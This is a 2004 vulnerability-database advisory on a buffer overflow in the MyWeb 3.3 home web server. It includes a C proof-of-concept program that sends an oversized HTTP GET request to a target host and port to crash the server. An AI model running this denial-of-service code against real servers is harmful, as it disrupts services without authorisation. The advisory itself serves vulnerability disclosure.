[NT] MyWeb Buffer Overflow

2004-05-11T00:00:00
ID SECURITYVULNS:DOC:6192
Type securityvulns
Reporter Securityvulns
Modified 2004-05-11T00:00:00

Description

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MyWeb Buffer Overflow

SUMMARY

<http://www.xuebrothers.net/myweb/myweb.htm> MyWeb is "a portable web server for home use. You can start your web site on your PC with in a few seconds. MyWeb is the ideal tool for sharing photos, mp3s, as well as random files and folders with friends and relatives through HTTP".

A specifically crafted HTTP GET request that contains over 4096 bytes of data will cause the HTTP server to crash.

DETAILS

Vulnerable Systems: * MyWeb version 3.3 and prior

Exploit: /****/ PoC to crash the server /****/

/* MyWeb 3.3 Buffer Overflow vendor: http://www.xuebrothers.net/myweb/myweb.htm

coded and discovered by: badpack3t <badpack3t@security-protocols.com> for .:sp research labs:. www.security-protocols.com 5.6.2004

usage: sp-myweb3.3 <targetip> [targetport] (default is 80)

This PoC will only DoS the server to verify if it is vulnerable. */

include <winsock2.h>

include <stdio.h>

pragma comment(lib, "ws2_32.lib")

char exploit[] =

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int main(int argc, char argv[]) { WSADATA wsaData; WORD wVersionRequested; struct hostent pTarget; struct sockaddr_in sock; char *target; int port,bufsize; SOCKET mysocket;

if (argc < 2) { printf("MyWeb 3.3 Buffer Overflow by badpack3t\r\n <badpack3t@security-protocols.com>\r\n\r\n", argv[0]); printf("Usage:\r\n %s <targetip> [targetport] (default is 80)\r\n\r\n", argv[0]); printf("www.security-protocols.com\r\n\r\n", argv[0]); exit(1); }

wVersionRequested = MAKEWORD(1, 1); if (WSAStartup(wVersionRequested, &wsaData) < 0) return -1;

target = argv[1]; port = 80;

if (argc >= 3) port = atoi(argv[2]); bufsize = 1024; if (argc >= 4) bufsize = atoi(argv[3]);

mysocket = socket(AF_INET, SOCK_STREAM, 0); if(mysocket==INVALID_SOCKET) { printf("Socket error!\r\n"); exit(1); }

printf("Resolving Hostnames...\n"); if ((pTarget = gethostbyname(target)) == NULL) { printf("Resolve of %s failed\n", argv[1]); exit(1); }

memcpy(&sock.sin_addr.s_addr, pTarget->h_addr, pTarget->h_length); sock.sin_family = AF_INET; sock.sin_port = htons((USHORT)port);

printf("Connecting...\n"); if ( (connect(mysocket, (struct sockaddr *)&sock, sizeof (sock) ))) { printf("Couldn't connect to host.\n"); exit(1); }

printf("Connected!...\n"); printf("Sending Payload...\n"); if (send(mysocket, exploit, sizeof(exploit)-1, 0) == -1) { printf("Error Sending the Exploit Payload\r\n"); closesocket(mysocket); exit(1); }

printf("Payload has been sent! Check if the webserver is dead y0!\r\n"); closesocket(mysocket); WSACleanup(); return 0; }

ADDITIONAL INFORMATION

The information has been provided by
<mailto:badpack3t@security-protocols.com> badpack3t.

The original article can be found at:
<http://fux0r.phathookups.com/advisory/sp-x11-advisory.txt> http://fux0r.phathookups.com/advisory/sp-x11-advisory.txt

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